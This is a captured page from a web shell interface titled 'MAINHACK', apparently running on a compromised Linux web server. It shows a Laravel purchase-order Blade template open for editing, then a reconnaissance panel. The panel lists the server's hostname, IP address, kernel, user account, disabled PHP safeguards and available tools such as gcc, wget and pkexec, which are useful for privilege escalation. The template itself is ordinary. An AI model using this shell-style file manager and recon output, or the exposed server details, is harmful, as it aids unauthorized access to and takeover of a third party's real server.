[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: action.blade.php
<div class="card"> <div class="card-header d-flex align-items-center justify-content-between"> <span class="panel-title">{{ _lang('Purchase Order') }} #{{ $purchase->bill_no }} </span> <div> <div class="dropdown"> <button class="btn btn-outline-primary btn-xs dropdown-toggle" type="button" data-toggle="dropdown" aria-expanded="false"> <i class="fas fa-cog mr-1"></i>{{ _lang('Actions') }} </button> <div class="dropdown-menu"> <a href="{{ route('purchases.add_payment', $purchase->id) }}" class="dropdown-item ajax-modal" data-title="{{ _lang('Add Payment') }}"><i class="far fa-credit-card mr-2"></i>{{ _lang('Add Payment') }}</a> <a href="{{ route('purchases.duplicate', $purchase->id) }}" class="dropdown-item"><i class="far fa-copy mr-2"></i>{{ _lang('Duplicate') }}</a> <a href="#" class="dropdown-item print" data-print="invoice"><i class="fas fa-print mr-2"></i>{{ _lang('Print Invoice') }}</a> <div class="dropdown-divider"></div> @if($purchase->status != 2) <a href="{{ route('purchases.edit', $purchase->id) }}" class="dropdown-item"><i class="far fa-edit mr-2"></i>{{ _lang('Edit') }}</a> @endif <form action="{{ route('purchases.destroy', $purchase->id) }}" method="post"> @csrf <input name="_method" type="hidden" value="DELETE"> <button class="dropdown-item btn-remove" type="submit"><i class="far fa-trash-alt mr-2"></i>{{ _lang('Delete') }}</button> </form> </div> </div> </div> </div> <div class="card-body"> <div class="d-md-flex justify-content-between border border-secondary rounded p-3"> <div> <span>{{ _lang('Status') }}:</span> <span>{!! xss_clean(purchase_status($purchase)) !!}</span> </div> <div> <span>{{ _lang('Vendor') }}:</span> <span>{{ $purchase->vendor->name }}</span> </div> <div> <span>{{ _lang('Grand Total') }}:</span> <span>{{ formatAmount($purchase->grand_total, currency_symbol($purchase->business->currency), $purchase->business_id) }}</span> </div> <div> <span>{{ _lang('Amount Due') }}:</span> <span>{{ formatAmount($purchase->grand_total - $purchase->paid, currency_symbol($purchase->business->currency), $purchase->business_id) }}</span> </div> </div> @if($purchase->transactions->count() > 0) <table class="table table-bordered mt-4"> <thead> <th>{{ _lang('Date') }}</th> <th>{{ _lang('Method') }}</th> <th class="text-right">{{ _lang('Amount') }}</th> <th class="text-right">{{ _lang('Purchase Amount') }}</th> </thead> <tbody> @foreach($purchase->transactions as $transaction) <tr> <td>{{ $transaction->trans_date }}</td> <td>{{ $transaction->method }}</td> <td class="text-right">{{ formatAmount($transaction->amount, currency_symbol($transaction->account->currency)) }}</td> <td class="text-right">{{ formatAmount($transaction->ref_amount, currency_symbol($purchase->business->currency)) }}</td> </tr> @endforeach </tbody> </table> @endif </div> </div>
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: server1.winmanyltd.com
Server IP: 203.161.60.52
PHP Version: 8.3.27
Server Software: Apache
System: Linux server1.winmanyltd.com 4.18.0-553.22.1.el8_10.x86_64 #1 SMP Tue Sep 24 05:16:59 EDT 2024 x86_64
HDD Total: 117.98 GB
HDD Free: 59.69 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
Yes
git:
Yes
User Info
Username: eliosofonline
User ID (UID): 1002
Group ID (GID): 1003
Script Owner UID: 1002
Current Dir Owner: 1002